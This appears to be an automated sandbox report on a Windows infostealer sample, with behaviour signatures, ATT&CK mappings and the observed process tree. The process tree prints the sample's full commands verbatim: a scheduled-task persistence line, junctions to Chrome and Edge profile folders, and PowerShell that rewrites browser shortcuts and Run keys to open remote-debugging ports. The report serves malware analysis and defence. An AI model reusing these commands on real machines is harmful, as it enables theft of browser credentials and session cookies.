Overview

overview

8

Static

static

3

2026-08-09...r_.exe

windows10-2004-x64

8

2026-08-09...r_.exe

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    51s
  • max time network
    155s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    09/08/2026, 07:47

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-08-09_8b17846c2772e1796150911fcf52218e_coinminer_frostygoop_glassworm_hive_knight_luca-stealer_.exe
  • Size 39.0MB
  • Sample260809-jmhxmatbph
  • SHA256 8374cfb37d1b7f8039a1daa8ccc88261d8de45bbaaf5e77d7ea6d4c4204eb9bc
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
credential_accessdefense_evasionexecutionpersistencespywarestealer

Malware Config

Signatures

  • Uses browser remote debugging 2 TTPs 1 IoCs

    Can be used to control the browser and steal sensitive information such as credentials and session cookies.

    credential_accessstealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

    defense_evasion
  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 48 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-09_8b17846c2772e1796150911fcf52218e_coinminer_frostygoop_glassworm_hive_knight_luca-stealer_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-09_8b17846c2772e1796150911fcf52218e_coinminer_frostygoop_glassworm_hive_knight_luca-stealer_.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:2996
    • C:\Windows\system32\schtasks.exe
      schtasks /create /sc onlogon /tn ProsperAgent /tr \"C:\Users\Admin\AppData\Local\Temp\2026-08-09_8b17846c2772e1796150911fcf52218e_coinminer_frostygoop_glassworm_hive_knight_luca-stealer_.exe\" /rl limited /f
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:4928
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$ErrorActionPreference='Stop'; $steamExe = 'C:\Program Files (x86)\Steam\Steam.exe'; $flags = @('-cef-enable-debugging'); $roots = @([Environment]::GetFolderPath('Desktop'), ($env:USERPROFILE + '\Desktop'), ($env:PUBLIC + '\Desktop'), ($env:APPDATA + '\Microsoft\Windows\Start Menu\Programs'), ($env:APPDATA + '\Microsoft\Windows\Start Menu\Programs\Startup'), ($env:APPDATA + '\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar'), ($env:ProgramData + '\Microsoft\Windows\Start Menu\Programs'), ($env:ProgramData + '\Microsoft\Windows\Start Menu\Programs\Startup')); $profileRoot = Join-Path $env:SystemDrive 'Users'; if (Test-Path -LiteralPath $profileRoot -ErrorAction SilentlyContinue) { $roots += @(Get-ChildItem -LiteralPath $profileRoot -Directory -ErrorAction SilentlyContinue | ForEach-Object { @((Join-Path $_.FullName 'Desktop'), (Join-Path $_.FullName 'AppData\Roaming\Microsoft\Windows\Start Menu\Programs'), (Join-Path $_.FullName 'AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'), (Join-Path $_.FullName 'AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar')) }); }; $roots = @($roots | Where-Object { -not [string]::IsNullOrWhiteSpace([string]$_) } | Select-Object -Unique); $shell = New-Object -ComObject WScript.Shell; $patched = @(); $failed = @(); foreach ($root in $roots) { if (-not (Test-Path -LiteralPath $root -ErrorAction SilentlyContinue)) { continue }; Get-ChildItem -LiteralPath $root -Filter '*.lnk' -Recurse -ErrorAction SilentlyContinue | ForEach-Object { $linkPath=$_.FullName; try { $lnk = $shell.CreateShortcut($linkPath); if (-not $lnk.TargetPath) { return }; if ($lnk.TargetPath -ne $steamExe) { return }; $arguments = ([string]$lnk.Arguments).Trim(); $missing = @($flags | Where-Object { $arguments -notmatch [regex]::Escape($_) }); if ($missing.Count -eq 0) { return }; $lnk.Arguments = (($arguments, ($missing -join ' ')) -join ' ').Trim(); $lnk.Save(); $patched += $linkPath } catch { $failed += ($linkPath + ': ' + $_.Exception.Message) } } }; if ($failed.Count -gt 0) { Write-Output ('FAILED:' + ($failed -join ' || ')) }; if ($patched.Count -gt 0) { Write-Output ($patched -join ';') }"
      2⤵
      • Hide Artifacts: Ignore Process Interrupts
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4616
    • C:\Windows\system32\cmd.exe
      cmd.exe /d /c mklink /J C:\Users\Admin\AppData\Local\Prosper\browser-profile-aliases\chrome "C:\Users\Admin\AppData\Local\Google\Chrome\User Data"
      2⤵
      • Executes a command shell one-liner
      PID:2560
    • C:\Windows\system32\cmd.exe
      cmd.exe /d /c mklink /J C:\Users\Admin\AppData\Local\Prosper\browser-profile-aliases\edge "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data"
      2⤵
      • Executes a command shell one-liner
      PID:1280
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$ErrorActionPreference='Stop'; $rules = @(@{ Names=@('chrome.exe','helium.exe'); Fragments=@('\imput\helium\'); Port='9225'; DataDir='' },@{ Names=@('chrome.exe'); Fragments=@(); Port='9222'; DataDir='C:\Users\Admin\AppData\Local\Prosper\browser-profile-aliases\chrome' },@{ Names=@('msedge.exe'); Fragments=@(); Port='9223'; DataDir='C:\Users\Admin\AppData\Local\Prosper\browser-profile-aliases\edge' },@{ Names=@('brave.exe'); Fragments=@(); Port='9224'; DataDir='' },@{ Names=@('opera.exe','launcher.exe'); Fragments=@('\opera'); Port='9226'; DataDir='' },@{ Names=@('vivaldi.exe'); Fragments=@(); Port='9227'; DataDir='' },@{ Names=@('yandexbrowser.exe','browser.exe'); Fragments=@(); Port='9228'; DataDir='' },@{ Names=@('chromium.exe'); Fragments=@(); Port='9229'; DataDir='' }); $roots = @([Environment]::GetFolderPath('Desktop'), ($env:USERPROFILE + '\Desktop'), ($env:PUBLIC + '\Desktop'), ($env:APPDATA + '\Microsoft\Windows\Start Menu\Programs'), ($env:APPDATA + '\Microsoft\Windows\Start Menu\Programs\Startup'), ($env:APPDATA + '\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar'), ($env:ProgramData + '\Microsoft\Windows\Start Menu\Programs'), ($env:ProgramData + '\Microsoft\Windows\Start Menu\Programs\Startup')); $profileRoot = Join-Path $env:SystemDrive 'Users'; if (Test-Path -LiteralPath $profileRoot -ErrorAction SilentlyContinue) { $roots += @(Get-ChildItem -LiteralPath $profileRoot -Directory -ErrorAction SilentlyContinue | ForEach-Object { @((Join-Path $_.FullName 'Desktop'), (Join-Path $_.FullName 'AppData\Roaming\Microsoft\Windows\Start Menu\Programs'), (Join-Path $_.FullName 'AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'), (Join-Path $_.FullName 'AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar')) }); }; $roots = @($roots | Where-Object { -not [string]::IsNullOrWhiteSpace([string]$_) } | Select-Object -Unique); $shell = New-Object -ComObject WScript.Shell; $patched = @(); $failed = @(); foreach ($root in $roots) { if (-not (Test-Path -LiteralPath $root -ErrorAction SilentlyContinue)) { continue }; Get-ChildItem -LiteralPath $root -Filter '*.lnk' -Recurse -ErrorAction SilentlyContinue | ForEach-Object { $linkPath=$_.FullName; try { $lnk = $shell.CreateShortcut($linkPath); if (-not $lnk.TargetPath) { return }; $targetPath = ([string]$lnk.TargetPath).ToLowerInvariant(); $target = [IO.Path]::GetFileName($targetPath); $rule = @($rules | Where-Object { $_.Names -contains $target -and ($_.Fragments.Count -eq 0 -or @($_.Fragments | Where-Object { $targetPath.Contains($_) }).Count -gt 0) }) | Select-Object -First 1; if (-not $rule) { return }; $required = @(('--remote-debugging-port=' + $rule.Port), '--remote-debugging-address=127.0.0.1', '--remote-allow-origins=*', '--no-first-run', '--no-default-browser-check', '--disable-infobars', '--disable-background-mode', '--restore-last-session'); if (-not [string]::IsNullOrWhiteSpace([string]$rule.DataDir)) { $required += '--user-data-dir=\"' + $rule.DataDir + '\"' }; $originalArguments = ([string]$lnk.Arguments).Trim(); $arguments = $originalArguments; $arguments = [regex]::Replace($arguments, '(?i)(^|\s)--remote-debugging-port(?:=\S+)?(?=\s|$)', ' '); $arguments = [regex]::Replace($arguments, '(?i)(^|\s)--remote-debugging-address(?:=\S+)?(?=\s|$)', ' '); $arguments = [regex]::Replace($arguments, '(?i)(^|\s)--remote-allow-origins(?:=\S+)?(?=\s|$)', ' '); $arguments = [regex]::Replace($arguments, '(?i)(^|\s)--user-data-dir=(?:\"[^\"]*\"|\S+)(?=\s|$)', ' '); foreach ($managed in @('--no-first-run', '--no-default-browser-check', '--disable-infobars', '--disable-background-mode', '--restore-last-session')) { $arguments = [regex]::Replace($arguments, '(?i)(^|\s)' + [regex]::Escape($managed) + '(?=\s|$)', ' ') }; $arguments = [regex]::Replace($arguments, '\s+', ' ').Trim(); $canonical = (($arguments, ($required -join ' ')) -join ' ').Trim(); if ($canonical -eq $originalArguments) { return }; $lnk.Arguments = $canonical; $lnk.Save(); $patched += $linkPath } catch { $failed += ($linkPath + ': ' + $_.Exception.Message) } } }; $runPath='HKCU:\Software\Microsoft\Windows\CurrentVersion\Run'; if (Test-Path -LiteralPath $runPath) { $run=Get-ItemProperty -LiteralPath $runPath; foreach ($property in $run.PSObject.Properties) { if ($property.Name -like 'PS*') { continue }; try { $value=[string]$property.Value; $match=[regex]::Match($value, '(?i)^\s*\"(?<exe>[^\"]+\.exe)\"(?<tail>.*)$'); if (-not $match.Success) { $match=[regex]::Match($value, '(?i)^\s*(?<exe>\S+\.exe)(?<tail>.*)$') }; if (-not $match.Success) { continue }; $targetPath=$match.Groups['exe'].Value.ToLowerInvariant(); $target=[IO.Path]::GetFileName($targetPath); $rule=@($rules | Where-Object { $_.Names -contains $target -and ($_.Fragments.Count -eq 0 -or @($_.Fragments | Where-Object { $targetPath.Contains($_) }).Count -gt 0) }) | Select-Object -First 1; if (-not $rule) { continue }; $required=@(('--remote-debugging-port=' + $rule.Port), '--remote-debugging-address=127.0.0.1', '--remote-allow-origins=*', '--no-first-run', '--no-default-browser-check', '--disable-infobars', '--disable-background-mode', '--restore-last-session'); if (-not [string]::IsNullOrWhiteSpace([string]$rule.DataDir)) { $required += '--user-data-dir=\"' + $rule.DataDir + '\"' }; $originalArguments=$match.Groups['tail'].Value.Trim(); $arguments=$originalArguments; $arguments=[regex]::Replace($arguments, '(?i)(^|\s)--remote-debugging-port(?:=\S+)?(?=\s|$)', ' '); $arguments=[regex]::Replace($arguments, '(?i)(^|\s)--remote-debugging-address(?:=\S+)?(?=\s|$)', ' '); $arguments=[regex]::Replace($arguments, '(?i)(^|\s)--remote-allow-origins(?:=\S+)?(?=\s|$)', ' '); $arguments=[regex]::Replace($arguments, '(?i)(^|\s)--user-data-dir=(?:\"[^\"]*\"|\S+)(?=\s|$)', ' '); foreach ($managed in @('--no-first-run', '--no-default-browser-check', '--disable-infobars', '--disable-background-mode', '--restore-last-session')) { $arguments=[regex]::Replace($arguments, '(?i)(^|\s)' + [regex]::Escape($managed) + '(?=\s|$)', ' ') }; $arguments=[regex]::Replace($arguments, '\s+', ' ').Trim(); $canonical=(($arguments, ($required -join ' ')) -join ' ').Trim(); $newValue='\"'+$match.Groups['exe'].Value+'\" '+$canonical; if ($newValue -eq $value) { continue }; Set-ItemProperty -LiteralPath $runPath -Name $property.Name -Value $newValue; $patched += 'HKCU Run\\'+$property.Name } catch { $failed += ('HKCU Run\\' + $property.Name + ': ' + $_.Exception.Message) } } }; if ($failed.Count -gt 0) { Write-Output ('FAILED:' + ($failed -join ' || ')) }; if ($patched.Count -gt 0) { Write-Output ($patched -join ';') }"
      2⤵
      • Uses browser remote debugging
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3756
  • C:\Users\Admin\AppData\Local\Temp\2026-08-09_8b17846c2772e1796150911fcf52218e_coinminer_frostygoop_glassworm_hive_knight_luca-stealer_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-09_8b17846c2772e1796150911fcf52218e_coinminer_frostygoop_glassworm_hive_knight_luca-stealer_.exe"
    1⤵
      PID:2648

    Network

          MITRE ATT&CK Enterprise v16

          Reconnaissance

          Resource Development

          Initial Access

          Execution

          Command and Scripting Interpreter

          1
          T1059

          Windows Command Shell

          1
          T1059.003

          Scheduled Task/Job

          1
          T1053

          Scheduled Task

          1
          T1053.005

          Persistence

          Boot or Logon Autostart Execution

          1
          T1547

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Modify Authentication Process

          1
          T1556

          Scheduled Task/Job

          1
          T1053

          Scheduled Task

          1
          T1053.005

          Privilege Escalation

          Boot or Logon Autostart Execution

          1
          T1547

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Scheduled Task/Job

          1
          T1053

          Scheduled Task

          1
          T1053.005

          Defense Evasion

          Hide Artifacts

          1
          T1564

          Ignore Process Interrupts

          1
          T1564.011

          Modify Authentication Process

          1
          T1556

          Modify Registry

          1
          T1112

          Credential Access

          Credentials from Password Stores

          1
          T1555

          Credentials from Web Browsers

          1
          T1555.003

          Modify Authentication Process

          1
          T1556

          Steal Web Session Cookie

          1
          T1539

          Unsecured Credentials

          1
          T1552

          Credentials In Files

          1
          T1552.001

          Discovery

          Query Registry

          1
          T1012

          Lateral Movement

          Collection

          Data from Local System

          1
          T1005

          Command and Control

          Exfiltration

          Impact

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 5e34248dd2cc55f37525b0f9dd7f4f19e879ad15905df49539c20497a21dd7ec
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          agent.log
          • Path C:\Users\Admin\AppData\Local\Prosper\logs\agent.log
          • Size 1KB
          • SHA256 8e9e302259fe72eff62a38baf3a13de3d7b62a5d628e40d60aaa3a8aaaf27ac3
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          memory/4616-9-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp
          Download

          memory/4616-5-0x00000188E49A0000-0x00000188E49C2000-memory.dmp
          Download

          memory/4616-7-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp
          Download

          memory/4616-8-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp
          Download

          memory/4616-1-0x00007FFC6A3EF000-0x00007FFC6A3F0000-memory.dmp
          Download

          memory/4616-10-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp
          Download

          memory/4616-11-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp
          Download

          memory/4616-12-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp
          Download

          memory/4616-14-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp
          Download

          memory/4616-15-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp
          Download

          memory/4616-16-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp
          Download

          memory/4616-6-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp
          Download

          memory/4616-2-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp
          Download